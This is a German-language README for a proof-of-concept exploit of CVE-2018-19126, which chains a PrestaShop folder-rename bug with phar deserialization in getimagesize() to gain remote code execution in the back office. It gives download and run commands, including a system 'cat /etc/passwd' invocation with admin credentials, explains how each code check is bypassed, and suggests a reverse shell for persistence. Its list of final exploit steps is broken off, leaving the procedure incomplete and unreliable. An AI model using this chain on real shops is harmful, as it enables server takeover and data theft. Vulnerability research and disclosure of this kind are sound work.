
PrestaShop (1.6.x <= 1.6.1.23 oder 1.7.x <= 1.7.4.4) Back Office Remote Code Execution (CVE-2018-19126)
Dies ist der PoC für CVE-2018-19126, der mehrere Schwachstellen im PrestaShop Back Office verknüpft, um eine Deserialisierung über phar auszulösen und so eine Remotecodeausführung zu erreichen.
Voraussetzung:

PrestaShop-Versionshinweise: http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/
Link zum verwundbaren Paket: https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip
NUR ZU BILDUNGSZWECKEN. VERWENDEN SIE DIESES SKRIPT NICHT FÜR ILLEGALE AKTIVITÄTEN. DER AUTOR ÜBERNIMMT KEINE VERANTWORTUNG FÜR MISSBRAUCH ODER SCHÄDEN.
Sie benötigen php mit der curl-Erweiterung und müssen phar.readonly = Off in der php.ini setzen, um den Exploit auszuführen.
# Download repository
wget https://github.com/farisv/PrestaShop-CVE-2018-19126/archive/master.zip -O PrestaShop-CVE-2018-19126.zip
unzip PrestaShop-CVE-2018-19126.zip
cd PrestaShop-CVE-2018-19126-master
# Run the exploit
# Usage: php exploit.php back-office-url email password func param
php exploit.php http://127.0.0.1/admin-dev/ [email protected] 54l35m4n123 system 'cat /etc/passwd'
Beachten Sie, dass das Upload-Verzeichnis umbenannt wird und Sie die bösartige Phar-Datei nicht erneut hochladen können, wenn der Ordnername nicht zurückgesetzt wird. Möglicherweise möchten Sie eine Reverse-Shell ausführen, um eine persistente RCE zu erhalten, oder den Befehl zum erneuten Umbenennen des Ordners in Ihr Payload aufnehmen (Sie müssen den Pfad zum Upload-Verzeichnis kennen).
Wir können eine implizite Deserialisierung mit dem phar-Wrapper über die getimagesize()-Funktion in [back-office-path]/filemanager/ajax_calls.php erreichen.
case 'image_size':
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
$info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
echo json_encode($info);
}
Wir müssen einen Weg finden, damit getimagesize() mit der phar-Wrapper-URL als Parameter aufgerufen wird, indem wir bestimmte Prüfungen umgehen.
Die erste Prüfung mit realpath() ist recht streng.
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
Die Variable $upload_dir stammt aus config.php, die standardmäßig mit $upload_dir = Context::getContext()->shop->getBaseURI().'img/cms/'; gesetzt ist. Wir können phar://[string] nicht in $_POST['path'] verwenden, da realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) false zurückgibt, weil es nicht existiert.
Es existiert eine weitere Schwachstelle (CVE-2018-19125), die es dem Benutzer ermöglicht, $upload_dir zu löschen oder umzubenennen. Wenn das Verzeichnis $upload_dir nicht existiert, gibt realpath(_PS_ROOT_DIR_.$upload_dir) false zurück und wir können diese Prüfung umgehen, da realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) ebenfalls false ist. Diese Schwachstelle wurde während des Code-Reviews entdeckt, als wir nach einem Weg zur Umgehung suchten :)
Kurz gesagt, erlaubt CVE-2018-19125, dass der path-Parameter beim Aufruf der Aktion delete_folder oder rename_folder in execute.php leer sein kann, sodass die Anwendung stattdessen $upload_dir löscht/umbenannt.
Die zweite Prüfung ist einfach, der $_POST['path'] muss $upload_dir enthalten.
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
Wir können einfach /img/cms/ in der phar-URL nach dem Dateipfad zur phar-Datei anhängen, da die Deserialisierung auch dann stattfindet, wenn das Verzeichnis im phar-Archiv nicht existiert. substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)) ersetzt lediglich /img/cms/ durch den absoluten Pfad ($current_path) dieses Ordners (z.B. /var/www/html/img/cms/, wenn die Anwendung in /var/www/html/ installiert ist).
Da wir die getimagesize()-Funktion steuern können, um eine phar-Wrapper-URL zu verarbeiten, müssen wir die bösartige Phar-Datei auf den Server hochladen. Standardmäßig erlaubt FileManager in PrestaShop nur 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg', 'pdf', 'mov', 'mpeg', 'mp4', 'avi', 'mpg', 'wma', 'flv' und 'webm' als Erweiterung. Wir können einfach das Payload erstellen und mit einer gültigen Erweiterung speichern. Wir können die Monolog-Gadget-Ketten von PHPGGC (https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/) verwenden, da sie von PrestaShop verwendet werden.
Endgültige Exploit-Schritte:
image_size-Aktion mit phar://../../img/renamed/phar.pdf/img/cms/ als path-Parameter auf.Das Skript exploit.php führt alle Schritte automatisch aus.
Denken Sie daran, dass das Upload-Verzeichnis in Schritt 3 umbenannt wird und Sie die bösartige Phar-Datei nicht erneut hochladen können, wenn der Ordnername nicht zurückgesetzt wird. Möglicherweise möchten Sie eine Reverse-Shell als Payload verwenden oder den Befehl zum erneuten Umbenennen des Ordners in das Payload aufnehmen (Sie müssen den Pfad zum Upload-Verzeichnis kennen).